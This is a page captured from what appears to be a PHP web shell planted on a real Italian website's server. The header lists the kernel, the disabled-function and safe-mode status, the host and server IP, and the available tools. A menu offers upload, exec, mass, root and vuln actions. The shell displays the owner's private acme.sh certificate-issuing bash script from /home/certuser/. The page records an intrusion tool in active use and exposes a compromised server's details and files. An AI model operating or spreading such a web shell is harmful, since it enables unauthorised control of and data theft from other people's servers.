Kernel : Linux vmw02p.internet-indee.net 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Tue Nov 16 14:42:35 UTC 2021 x86_64
Disable function : NONE
Safe mode : OFF
Host : firofichi.it | Server ip : 5.196.164.15 | Your ip : 3.142.98.153 | Time @ Server : 19 Oct 2024 02:34:18
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/certuser/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/certuser/issue_cert.sh

#!/bin/bash # v1.1.1 # creazione array degli IP attestati sul server declare -a masterip mapfile -t masterip < <(ip a | grep -w 'inet' | awk '{print $2}' | grep -o -P '(\d{1,3}(\.\d{1,3}){3})(?=\/)') acmebase="-w /home/certuser/cert/ --log --server letsencrypt " acmepath="/home/certuser/.acme.sh/acme.sh" acmeissue="--issue " totdom=0 echo "Inserisci uno o piĆ¹ domini da certificare, afferenti alla stessa catena di certificazione (es.: dominio principale ed alias)" echo "<------------------>" while read -p "Vuoi aggiungere un dominio alla catena di certificazione (s/n) ? " -n 1 -s answer; do echo "" if [[ "$answer" == 's' || "$answer" == 'S' ]]; then totdom=$(( totdom + 1 )) else break fi # inserimento del dominio per il rilascio del certificato read -p "Inserisci il dominio (es. : miosito.com oppure data.miosito.com) : " rootdomain read -n1 -p "Il dominio deve essere esteso su www.<dominio> ? " w3 echo "" if [[ "$w3" == 's' || "$w3" == 'S' ]]; then echo "Aggiungo il suffisso WWW nei domini richiesti" wwwdomain=www.$rootdomain fi # verifica che il dominio indicato sia attestato sugli IP della macchina echo "----" ipresult=$(ping -c1 -q $rootdomain | grep -m1 PING | awk '{print substr($3, 2, length($3) - 2)}' | tr -d [:cntrl:]) domainok=0 for localip in "${masterip[@]}"; do if [[ "$ipresult" == "$localip" ]]; then echo "Il dominio indicato risulta attestato su questo server sull'IP $localip" acmeissue+="-d $rootdomain " domainok=1 break fi done if [ $domainok -eq 0 ]; then echo "Il dominio indicato non risulta attestato su questo server: esco" exit 1 fi echo "Risposta IP del dominio $rootdomain : $ipresult" # verifica che corrisponda anche il dominio www if [ ! -z "$wwwdomain" ]; then # verifica che il dominio indicato sia attestato sugli IP della macchina ipresult=$(ping -c1 -q $wwwdomain | grep -m1 PING | awk '{print substr($3, 2, length($3) - 2)}' | tr -d [:cntrl:]) domainok=0 for localip in ${masterip[@]}; do if [[ "$ipresult" == "$localip" ]]; then echo "Il dominio ->www<- risulta attestato su questo server: lo aggiungo alla catena di certificazione" acmeissue+="-d $wwwdomain " domainok=1 break fi done if [[ $domainok -eq 0 ]]; then echo "Il dominio ->www<- non risulta attestato su questo server. Salto l'integrazione nella catena di certificazione" fi fi done echo "------- esecuzione richiesta certificato ------" if (( $totdom > 0 )); then echo "acme.sh $acmeissue $acmebase" | tee -a certrequest_$rootdomain.log $acmepath $acmeissue $acmebase | tee -a certrequest_$rootdomain.log else echo "Non hai inserito nessun dominio da certificare." fi